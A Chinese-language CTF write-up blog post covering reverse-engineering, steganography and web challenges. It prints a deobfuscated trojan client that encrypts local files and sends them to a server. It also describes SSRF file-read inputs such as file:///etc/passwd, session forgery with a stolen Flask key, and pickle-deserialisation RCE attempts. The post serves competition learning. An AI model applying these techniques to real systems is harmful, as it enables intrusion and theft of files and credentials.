这次应该是我本科阶段打的最后一次 CTF 了,这之前几乎有一年没碰过题目,在半退役的边缘又迎来了 AI 的万物竞发,很难想象以后的 CTF 比赛会是什么样的哈哈。
记录了几道我参与的题目,由于赛后题目无法再进入,很多题我也忘了保存附件,有几道题的 WP 我用了同队的队友的截图,不能复现还挺难受的。
re1
附件是一个 elf 程序加一个 MP4 视频,先看程序,

看见了一坨 Base64 编码,直接定位过去,

旁边写了DATA XREF: .data:payload_encoder_pyc_base64↓o,猜这段是被编码的 pyc 文件,
import base64
b64_payload = "Qg0NCg……太长了略"
with open("stager.pyc", "wb") as f:
f.write(base64.b64decode(b64_payload))
print("[+] stager.pyc extracted successfully!")
解之,再反编译,得
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.7
from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width, height, pixel_size, fps, output_file = (640, 480, 8, 10, 'video.mp4')):
if not os.path.isfile(input_file):
return None
file_size = None.path.getsize(input_file)
binary_string = ''
# WARNING: Decompyle incomplete
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)
虽然代码不太全,不过也能拿到关键信息,
反编译器把默认参数解析成了一个元组 (640, 480, 8, 10, 'video.mp4'),还原成原本的函数签名应该是:
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
隐藏着视频隐写的核心规则:
分辨率 (width=640, height=480):每一帧的画面大小。
像素块大小 (pixel_size=8):程序并没有把 1 个 bit 映射为 1 个像素,而是映射成了一个 $8 \times 8$ 的像素块。
容量计算:每一帧能藏的数据量是 $(640 \div 8) \times (480 \div 8) = 80 \times 60 = 4800$ 个 bit(即 600 字节)。
不过要找到最关键的逻辑,还是得重新反编译,在线反编译不太行,用xdis库来,
pydisasm stager.pyc > stager_disasm.txt
得到 python 汇编,我是看不懂,直接丢给 Gemini,得到以下分析:
① 找到异或密钥 (XOR Key)
在第 21 行:
21: 128 LOAD_CONST ("10101010")
130 STORE_FAST (xor_key)
以及后面的第 27-28 行,程序将每一字节与密钥进行了二进制异或(BINARY_XOR)。
说明密钥是二进制串 "10101010",转换成十六进制就是 0xAA** (十进制 170)。
② 找到像素颜色映射规则
在第 54 行:
54: 460 LOAD_FAST (bit)
462 LOAD_CONST ("1")
464 COMPARE_OP (==)
...
468 POP_JUMP_IF_FALSE (to 474) <-- 如果 bit 不是 "1" (即 "0"),跳到 474
470 LOAD_CONST ((0, 0, 0)) <-- bit 为 "1" 时,颜色是 (0,0,0) 黑色
472 JUMP_FORWARD (to 476)
>> 474 LOAD_CONST ((255, 255, 255)) <-- bit 为 "0" 时,颜色是 (255,255,255) 白色
说明1 = 黑色,0 = 白色。
③ 定位像素块大小 (Block Size)
根据前面的分析和常数池,width = 640, height = 480, pixel_size = 8。
每一位 bit 实际上被放大成了一个 $8 \times 8$ 的纯色方块。这样一帧能容纳的比特位是:$(640/8) \times (480/8) = 80 \times 60 = 4800$ bit。
写解码脚本即可:
import cv2
# 配置参数
VIDEO_PATH = "video.mp4"
OUTPUT_PATH = "recovered_payload.bin"
XOR_KEY = int("10101010", 2) # 0xAA
PIXEL_SIZE = 8
COLS = 640 // PIXEL_SIZE # 80
ROWS = 480 // PIXEL_SIZE # 60
def extract_payload():
cap = cv2.VideoCapture(VIDEO_PATH)
extracted_bits = ""
frame_count = 0
while True:
ret, frame = cap.read()
if not ret:
break
frame_count += 1
# 转为灰度图方便判断明暗
gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
# 遍历网格
for r in range(ROWS):
for c in range(COLS):
# 取每个 8x8 像素块的中心点坐标
center_x = c * PIXEL_SIZE + (PIXEL_SIZE // 2)
center_y = r * PIXEL_SIZE + (PIXEL_SIZE // 2)
# 获取中心点像素的灰度值
pixel_val = gray_frame[center_y, center_x]
# 阈值判断:黑色为 '1' (< 128),白色为 '0' (>= 128)
if pixel_val < 128:
extracted_bits += "1"
else:
extracted_bits += "0"
cap.release()
print(f"视频解析完成,共提取 {frame_count} 帧。")
# 去除由于视频最后一帧没占满而可能多出来的 '0' 补位
# 这里我们按字节 (8位) 进行切分和异或
print("正在进行 XOR 解密并写入文件...")
# 确保位数是 8 的倍数
valid_length = len(extracted_bits) - (len(extracted_bits) % 8)
extracted_bits = extracted_bits[:valid_length]
payload_bytes = bytearray()
for i in range(0, len(extracted_bits), 8):
byte_str = extracted_bits[i:i+8]
encrypted_byte = int(byte_str, 2)
decrypted_byte = encrypted_byte ^ XOR_KEY
payload_bytes.append(decrypted_byte)
# 写入文件
with open(OUTPUT_PATH, "wb") as f:
f.write(payload_bytes)
print(f"解密成功!载荷已保存至: {OUTPUT_PATH}")
if __name__ == "__main__":
extract_payload()
得到的 bin 文件再丢进 DIE 看看,发现还是个 elf 程序,再放进 IDA,得到以下重要信息:

那还说啥了,直接写脚本爆破 MD5 完事,
import hashlib
import string
# 这是从你的 IDA .data 段提取出的所有哈希值(按顺序)
hashes = [
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"4b43b0aee35624cd95b910189b3dc231",
"e358efa489f58062f10dd7316b65649e",
"f95b70fdc3088560732a5ac135644506",
"c81e728d9d4c2f636f067f89cc14862c",
"0cc175b9c0f1b6a831c399e269772661",
"92eb5ffee6ae2fec3ad71c777531578f",
"c4ca42……太多了后面全略"
]
print("[*] 正在进行单字符 MD5 爆破...")
flag = ""
charset = string.printable
for h in hashes:
found = False
for char in charset:
# 对每一个可见字符进行 MD5 哈希
if hashlib.md5(char.encode()).hexdigest() == h:
flag += char
found = True
break
if not found:
flag += "?" # 如果遇到不在 printable 里的字符(几率极小),用 ? 代替
print(f"\n[+] 破解成功!最终 Flag 如下:\n{flag}")
# dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}
re2
喜闻乐见的魔改壳 + 动态调试逆向题。不是我做出来的,先挂个待办。
re3
先直接从 capture.pcap 里搜可见字符串,可以看到 3 段 JSON:readme.txt、flag.txt、config.txt,它们都带有一个十六进制字段ciphertext,说明木马把文件内容加密后再上传。

对 client 做字符串检查,可以看到非常明显的 PyInstaller 痕迹,解包 client,再反编译 client.pyc 得:
import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
try:
_b = base64.b85decode(_d.encode())
_r = []
for _i, _x in enumerate(_b):
_k = (_k1, _k2, _rn)[_i % 3]
_r.append(_x ^ _k)
_s = bytes(_r).decode()
_res = []
for _c in _s:
if _c.isalpha():
_base = ord("A") if _c.isupper() else ord("a")
_res.append(chr((ord(_c) - _base - _rn) % 26 + _base))
elif _c.isdigit():
_res.append(str((int(_c) - _rn) % 10))
else:
_res.append(_c)
return "".join(_res)
except:
return _d
_globs = dict(
__name__="__main__",
__file__=__file__,
__package__=None,
_oe=_oe,
)
# 注入 builtins
for _k in dir(builtins):
if not _k.startswith("_"):
_globs[_k] = getattr(builtins, _k)
# 注入模块
_globs["base64"] = base64
_globs["sys"] = sys
_globs["os"] = os
_globs["json"] = json
_globs["socket"] = socket
_globs["hashlib"] = hashlib
_globs["crypt_core"] = crypt_core
def _obf_check():
if hasattr(sys, "gettrace"):
_tr = sys.gettrace()
if _tr is not None:
return False
return True
def _obf_exec(_code):
if not _obf_check():
return None
exec(compile(_code, "<obf>", "exec"), _globs, _globs)
# 这里是超长混淆 payload
_1667 = """UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-
F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~
I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@
DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F
(4%%H8d#-...
(略)
"""
_obf_exec(base64.b85decode(_1667).decode())
解码后得到:
_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)
class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5
#!/usr/bin/env python3
import socket
import json
import os
import sys
import hashlib
import time
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core
class CustomBase64:
CUSTOM_ALPHABET = _oe(
"8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr",
83, 214, 17
)
STANDARD_ALPHABET = _oe(
"0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}",
83, 214, 17
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
@classmethod
def decode(cls, data: str) -> bytes:
import base64
std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)
SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe(
"C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ",
83, 214, 17
)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [
_oe("I-p}FvS)q0emD", 83, 214, 17),
_oe("B(-BJ_<B6O", 83, 214, 17),
_oe("C$MxRtZ99{emD", 83, 214, 17),
]
def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i - _i + 1)
return _x >= 0
def _opaque_false():
_a, _b = 5, 7
return (_a * _b) == (_b * _a + 1)
def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead
def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintext, key[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result
def send_single_file(sock, filename, plaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEY, plaintext)
_s = 1
elif _s == 1:
_pl = {
_oe("B&>2Jvtu`)", 83, 214, 17): filename,
_oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex(),
}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(
json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n"
)
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5
def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False
while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe(
"VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U",
83, 214, 17
)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False
return _valid
def _get_server_host(args):
_s = 100
_host = None
while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
_s = 201
return _host
def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False
while _state < 100:
if _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("错误:无效的命令")
_state = 99
elif _state == 5:
print("用法:python client.py <command> [SERVER_HOST]")
_state = 99
elif _state == 10:
try:
_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_state = 11
except Exception:
_state = 99
elif _state == 11:
_host = _get_server_host(sys.argv)
_state = 12
elif _state == 12:
try:
_sock.connect((_host, SERVER_PORT))
_state = 20
except Exception as e:
print(f"[!] 连接失败:{e}")
_state = 99
elif _state == 20:
if _idx < len(FILES_TO_SEND):
_state = 21
else:
_state = 30
elif _state == 21:
_fname = FILES_TO_SEND[_idx]
_state = 22
elif _state == 22:
if os.path.exists(_fname):
_state = 23
else:
_state = 28
elif _state == 23:
with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
print("[*] 发送文件")
_state = 25
elif _state == 25:
send_single_file(_sock, _fname, _data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print("[-] 文件不存在")
_idx += 1
_state = 20
elif _state == 30:
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break
if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
main()
client 中会先做一层自定义 base64 解码,得到完整字符串:b"passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B",随后调用crypt_core.encode_data(data, key[:16]),因此真正参与加密的密钥只有前 16 字节。
逆向 crypt_core.so ,可知核心函数是sub_60B0,由 encode_data 直接调用,

还原出魔改 SM4 算法,
from __future__ import annotations
import argparse
import json
import subprocess
import sys
from pathlib import Path
BLOCK_SIZE = 16
KEY = b"passvkcDKWLAA45o"
SBOX = bytes.fromhex(
"ecca0ef308f02aa23b182b5c37bd12a8"
"05d3a1574f96fcf5a7141966589bbfb4"
"39d51e1a30bc6c80b7ed4106d91767cd"
"1d2cae240313c65383110af7c04dc49e"
"8d001fc33f359fcb729d166facce3c5e"
"a6e17b343632b895918952c1e7a33348"
"04cf10eb25bb8e0f816eb343458f49f8"
"4b59074adefdc8d0848bfbdadb28d43e"
"a42f56beef86c762ea76e9d674a56bf9"
"987d3a265aaf870d1b2eb2e36accf1ff"
"d7f61cc9e870204e233dc2aadc0bf25f"
"7afa889747d10c02317ff4751593388a"
"429071dd73557eb55b294c9ae08cb0e5"
"642701dfad2179949251697c22635085"
"2de2404644a982b661d8d2b968abb15d"
"655477a0c5ba609ce4feee99e6786d09"
)
FK = (0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73)
CK = (
0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7,
0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,
0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,
0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,
0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A,
0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
0x92D9F824, 0xE75CED15, 0x4558D865, 0xBE5250CD,
0x8F658E94, 0xB4EA5DC0, 0xB0377FCE, 0x4DF44762,
)
# ===== 基础函数 =====
def rol32(x: int, n: int) -> int:
x &= 0xFFFFFFFF
return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
def tau(x: int) -> int:
return (
(SBOX[(x >> 24) & 0xFF] << 24)
| (SBOX[(x >> 16) & 0xFF] << 16)
| (SBOX[(x >> 8) & 0xFF] << 8)
| SBOX[x & 0xFF]
)
def l_transform(x: int) -> int:
return x ^ rol32(x, 2) ^ rol32(x, 10) ^ rol32(x, 18) ^ rol32(x, 24)
def l_prime(x: int) -> int:
return x ^ rol32(x, 13) ^ rol32(x, 23)
# ===== 密钥扩展 =====
def expand_round_keys(key: bytes) -> list[int]:
if len(key) != BLOCK_SIZE:
raise ValueError("invalid key length")
words = [int.from_bytes(key[i:i+4], "big") for i in range(0, 16, 4)]
state = [words[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(24):
mix = state[i+1] ^ state[i+2] ^ state[i+3] ^ CK[i]
new = state[i] ^ l_prime(tau(mix))
state.append(new)
rk.append(new)
return rk
# ===== 分组加解密 =====
def crypt_block(block: bytes, rk: list[int]) -> bytes:
if len(block) != BLOCK_SIZE:
raise ValueError("invalid block size")
state = [int.from_bytes(block[i:i+4], "big") for i in range(0, 16, 4)]
for i in range(24):
mix = state[i+1] ^ state[i+2] ^ state[i+3] ^ rk[i]
state.append(state[i] ^ l_transform(tau(mix)))
return b"".join(w.to_bytes(4, "big") for w in state[-1:-5:-1])
def pkcs7_unpad(data: bytes) -> bytes:
if not data or len(data) % BLOCK_SIZE:
raise ValueError("invalid padding")
pad = data[-1]
if pad < 1 or pad > BLOCK_SIZE or data[-pad:] != bytes([pad]) * pad:
raise ValueError("invalid padding")
return data[:-pad]
def decrypt(ct: bytes, key: bytes = KEY) -> bytes:
if len(ct) % BLOCK_SIZE:
raise ValueError("invalid ciphertext length")
rk = list(reversed(expand_round_keys(key)))
pt = b"".join(
crypt_block(ct[i:i+16], rk)
for i in range(0, len(ct), 16)
)
return pkcs7_unpad(pt)
# ===== PCAP 解析 =====
def extract_json_messages(pcap: Path) -> list[dict[str, str]]:
out = subprocess.check_output(
["tshark", "-r", str(pcap), "-q", "-z", "follow,tcp,raw,0"],
text=True
)
msgs = []
for line in out.splitlines():
line = line.strip()
if not line or any(c not in "0123456789abcdef" for c in line):
continue
raw = bytes.fromhex(line)
if raw.startswith(b"{"):
msgs.append(json.loads(raw.decode()))
return msgs
# ===== 输出 =====
def print_result(name: str, pt: bytes):
print(f"=== {name} ===")
try:
print(pt.decode())
except UnicodeDecodeError:
print(pt.hex())
print()
# ===== 主程序 =====
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--pcap", type=Path, default=Path("capture.pcap"))
parser.add_argument("--ciphertext")
parser.add_argument("--raw", action="store_true")
args = parser.parse_args()
# 单条解密模式
if args.ciphertext:
pt = decrypt(bytes.fromhex(args.ciphertext))
print(pt.hex() if args.raw else pt.decode(errors="ignore"))
return 0
# PCAP 模式
msgs = extract_json_messages(args.pcap)
if not msgs:
print("no messages found", file=sys.stderr)
return 1
for m in msgs:
pt = decrypt(bytes.fromhex(m["ciphertext"]))
print_result(m["filename"], pt)
return 0
if __name__ == "__main__":
raise SystemExit(main())
steganography
叼毛题恶心的一批。
使用 010 Editor 观察原文件,发现在偏移量 35 处存在 PNG 的文件头( 89 50 4E 47 )。剥离出 PNG 后,发现无法正常打开。继续看 PNG 结构,会发现 IHDR 正常,但 IDAT 块之间被插入了少量无关字节,导致普通 PNG 解析器容易失败。不过题目里的 IDAT 标记仍然能直接搜出来,一共 6 个,把每个 IDAT 前 4 字节当长度、后面按长度取数据,再把 6 段 IDAT 数据拼接起来,就能得到完整的 zlib 数据流。遇到非标的 Chunk 类型(只要不是 IHDR , IEND , PLTE ),强制修正为 IDAT ,并重新计算 CRC32 校验和以满足文件规范。
import struct
import binascii
def fix_png():
with open("steganography_challenge", "rb") as f:
f.seek(35)
data = f.read()
# PNG 文件头(魔数)
fixed_data = bytearray(data[:8])
offset = 8
# 遍历并修复 Chunk
while offset < len(data):
if offset + 8 > len(data):
break
length = struct.unpack(">I", data[offset:offset + 4])[0]
chunk_type = data[offset + 4:offset + 8]
if offset + 8 + length + 4 > len(data):
break
chunk_data = data[offset + 8: offset + 8 + length]
# 核心修复:非法 chunk → 强制改为 IDAT
if chunk_type not in [b"IHDR", b"IEND", b"PLTE"]:
chunk_type = b"IDAT"
# 重算 CRC
crc = binascii.crc32(chunk_type + chunk_data) & 0xFFFFFFFF
fixed_data += (
struct.pack(">I", length)
+ chunk_type
+ chunk_data
+ struct.pack(">I", crc)
)
offset += 12 + length
if chunk_type == b"IEND":
break
with open("fixed.png", "wb") as f:
f.write(fixed_data)
得到健康的 fixed.png 后,按顺序提取 RGB 三个通道的最低有效位(LSB, bit 0)。将其转为字节流后,搜索 ZIP 文件的魔数 PK\x03\x04 并截断提取出 hidden.zip 。可直接使用zsteg -e b1,rgb,lsb,xy fixed.png > hidden.zip命令完成。
解压 hidden.zip 得到 pass1.zip ~ pass6.zip 以及 flag.zip 。 pass1~6 皆为加密文件,但查看压缩包属性发现:被加密的内部文件大小仅为 4 字节。 在 ZIP 协议中,即使文件被加密,其数据目录中的大小(Size)和 CRC32 校验值依然是明文存储的。利用 4 字节(可打印字符)组合空间极小的特性,直接对 CRC32 进行哈希碰撞爆破原文。
import zipfile
import zlib
import itertools
import string
def crack_crc32():
charset = string.printable.encode()
results = {}
for i in range(1, 7):
zip_name = f"pass{i}.zip"
with zipfile.ZipFile(zip_name, "r") as zf:
inner_file = zf.infolist()[0]
target_crc = inner_file.CRC
size = inner_file.file_size
# 根据文件真实长度进行爆破
for p in itertools.product(charset, repeat=size):
test_bytes = bytes(p)
if zlib.crc32(test_bytes) & 0xFFFFFFFF == target_crc:
results[zip_name] = test_bytes.decode("ascii")
break
# 拼接最终结果
result = "".join(results[f"pass{i}.zip"] for i in range(1, 7))
print(result)
if __name__ == "__main__":
crack_crc32()
CRC32 爆破后拼接的完整明文为:pass is c1!xxtLf%fXYPkaA。 这里是一个社工陷阱,真正的解压密码需要剔除前置主语,即为c1!xxtLf%fXYPkaA。解开 flag.zip 后,得到 flag.txt。
使用该密码解压 flag.zip 得到 flag.txt。文本看似只有 "flag is here",实则尾部混入了大量不可见的零宽字符(U+200B 零宽空格,U+200C 零宽非连接符)。 将其分别映射为 0 和 1,每 8 位转为一个 ASCII 字符,即可还原出最终 Flag。
def decode_zero_width():
with open("flag.txt", "r", encoding="utf-8") as f:
content = f.read()
binary_str = ""
for char in content:
if char == '\u200b': binary_str += '0'
elif char == '\u200c': binary_str += '1'
flag = ""
for i in range(0, len(binary_str), 8):
byte_chunk = binary_str[i:i+8]
if len(byte_chunk) == 8:
flag += chr(int(byte_chunk, 2))
print(flag)
auth
由于我不是 Web 手,比赛的时候只好结合 AI 现做这道题。一开始我还以为是要打这个登录页,后面发现其实可以登录进去,其实是打整个用户管理系统。发现了任意文件读取的洞,但是没时间了就没做出来,先总结一下目前的进度,以后有机会再复现。(比赛一结束环境就进不去了,很烦啊)
0x00 题目背景与初步信息收集
- 题目环境:一个包含注册、登录以及用户资料管理的 Web 系统。
- 技术栈探测:随便输入账号密码登录抓包后,通过响应头
Server: Werkzeug/2.2.3 Python/3.7.3明确了后端使用的是 Python 3.7.3 和 Flask 框架。
0x01 突破口:SSRF 导致任意文件读取
注册普通用户(角色为 user)并登录后,发现在“个人属性”页面存在“头像上传”功能。该功能提供了两种上传方式,其中方式二“提供图片URL” 存在极大的安全隐患。
- 漏洞测试:在 URL 框输入
file:///etc/passwd,成功在头像预览区或报错信息中读出了服务器的/etc/passwd文件,确认了靶机为 Alpine Linux 且存在ctf用户。 - 环境探测:继续利用 SSRF 读取
file:///proc/self/environ,在环境变量中发现PWD=/app,定位到了 Web 应用源码存放的绝对路径。 - 源码泄露:利用 SSRF 读取
file:///app/app.py,成功拿到了后端的完整 Python 源码!
0x02 源码白盒审计
拿到 app.py 后,进行了详细的白盒代码审计,发现以下关键逻辑和漏洞点:
- Redis 凭证硬编码:系统使用 Redis 存储用户数据和 Flask Session 的密钥(
SECRET_KEY),并且源码中硬编码了 Redis 的密码123456。 - Session 伪造可能:Flask 的
SECRET_KEY存放在 Redis 的app:secret_key键中。只要拿到这个密钥,就可以通过客户端伪造 Session Cookie,实现权限提升(越权至admin)。 - 高危反序列化漏洞:在
/admin/online-users(在线用户管理)路由下,系统会遍历 Redis 中的online_user:*键,并使用pickle.loads()进行反序列化。虽然程序自定义了RestrictedUnpickler进行防御,但其白名单中赫然写着允许加载builtins模块,形同虚设,存在绕过并执行 RCE(远程命令执行)的条件。
0x03 数据库窃取与 Session 伪造 (提权)
由于直接利用 CRLF 注入 Redis 失败(猜测受限于 urllib 底层或者 Python 环境),我们转变思路,直接利用 SSRF 去读 Redis 的本地持久化备份文件。
- 获取 Secret Key:在 URL 下载框提交
file:///var/lib/redis/dump.rdb。在返回的二进制乱码中,成功搜索并提取到了 Flask 的签名密钥:7f52b5dddb8b8b2290fd31276077c7dc15f95054cc14f3e0ca0ebc63700ed984 - 伪造 Admin 凭证:使用本地工具
flask-unsign,结合拿到的密钥,手动签发了一个包含{'logged_in': True, 'role': 'admin', 'username': '21212'}的 Session Cookie。 - 成功越权:将浏览器中的 session 替换为伪造的 Cookie 后刷新页面,成功获取到了
admin(管理员) 权限,解锁了/admin/users和/admin/online-users页面。
0x04 进度卡点与现状分析
目前我们已经以 admin 身份进入了后台。在 /admin/users(注册用户列表)中,发现有其他选手留下的 SSTI 测试载荷({{7*7}}),但并未直接发现 Flag。
当前我们手里的终极武器:
- SSRF (任意文件读取):受限于管理员权限,我们可以读取更高权限的文件。
- Pickle 反序列化 (后台):我们可以向 Redis 写入恶意的序列化数据,并在访问
/admin/online-users时触发它。
接下来的核心难点(未完成部分): 目前的难点在于定位 Flag 的具体位置。我们尝试过直接写文件、调用 os.system 等 Pickle 反序列化手法,但页面均无变化或无明显回显。这说明:
- 容器环境可能限制了对外的命令输出,或者是只读文件系统。
- Flag 不在常规的
/flag路径下,或者被藏在了 1 号进程的环境变量 (/proc/1/environ) 中。 - 反序列化的 Payload 在绕过
RestrictedUnpickler时,部分利用链可能被运行环境吃掉了异常。
Comments NOTHING